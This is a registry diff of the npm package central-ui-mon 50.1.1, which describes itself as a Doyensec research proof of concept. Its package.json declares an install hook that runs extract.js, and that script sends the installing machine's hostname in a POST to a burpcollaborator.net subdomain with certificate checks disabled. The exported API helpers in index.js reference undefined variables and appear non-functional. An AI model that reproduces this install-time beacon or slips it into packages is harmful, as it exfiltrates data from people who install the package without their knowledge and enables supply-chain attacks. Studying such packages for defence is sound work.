central-ui-mon 50.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of central-ui-mon might be problematic. Click here for more details.
- package/extract.js +33 -0
- package/index.js +60 -0
- package/package.json +14 -0
package/extract.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
|
5
|
+
const data = new TextEncoder().encode(
|
6
|
+
JSON.stringify({
|
7
|
+
payload: hostname,
|
8
|
+
project_id: process.argv[2]
|
9
|
+
})
|
10
|
+
)
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: process.argv[2] + '.' + hostname + '.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': data.length
|
20
|
+
},
|
21
|
+
rejectUnauthorized: false
|
22
|
+
}
|
23
|
+
|
24
|
+
const req = https.request(options, res => {
|
25
|
+
|
26
|
+
})
|
27
|
+
|
28
|
+
req.on('error', error => {
|
29
|
+
console.error(error)
|
30
|
+
})
|
31
|
+
|
32
|
+
req.write(data)
|
33
|
+
req.end()
|
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
const axios = require("axios");
|
2
|
+
|
3
|
+
const api_key = process.env.api_key;
|
4
|
+
const domain = process.env.domain;
|
5
|
+
|
6
|
+
export async function getUser() {
|
7
|
+
await axios
|
8
|
+
.get(
|
9
|
+
"https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
|
10
|
+
)
|
11
|
+
.then((response) => {
|
12
|
+
return response.data.objects;
|
13
|
+
})
|
14
|
+
.catch((err) => {
|
15
|
+
console.log(err);
|
16
|
+
});
|
17
|
+
return result;
|
18
|
+
}
|
19
|
+
|
20
|
+
export async function getAllUsers() {
|
21
|
+
await axios
|
22
|
+
.get(
|
23
|
+
"https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
|
24
|
+
)
|
25
|
+
.then((response) => {
|
26
|
+
return response.data.objects;
|
27
|
+
})
|
28
|
+
.catch((err) => {
|
29
|
+
console.log(err);
|
30
|
+
});
|
31
|
+
return result;
|
32
|
+
}
|
33
|
+
|
34
|
+
export async function createUser(user) {
|
35
|
+
await axios
|
36
|
+
.post(
|
37
|
+
"https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
|
38
|
+
)
|
39
|
+
.then((response) => {
|
40
|
+
return response.data.objects;
|
41
|
+
})
|
42
|
+
.catch((err) => {
|
43
|
+
console.log(err);
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
}
|
47
|
+
|
48
|
+
export async function sumbitReport(username, report) {
|
49
|
+
await axios
|
50
|
+
.post(
|
51
|
+
"https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
|
52
|
+
)
|
53
|
+
.then((response) => {
|
54
|
+
return response.data.objects;
|
55
|
+
})
|
56
|
+
.catch((err) => {
|
57
|
+
console.log(err);
|
58
|
+
});
|
59
|
+
return result;
|
60
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "central-ui-mon",
|
3
|
+
"version": "50.1.1",
|
4
|
+
"description": "This package is a proof of concept used by Doyensec LLC to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.",
|
5
|
+
"main": "index.js",
|
6
|
+
"author": "Doyensec LLC <info@doyensec.com>",
|
7
|
+
"license": "ISC",
|
8
|
+
"dependencies": {
|
9
|
+
"axios": "^0.25.0"
|
10
|
+
},
|
11
|
+
"scripts": {
|
12
|
+
"install": "node extract.js 2"
|
13
|
+
}
|
14
|
+
}
|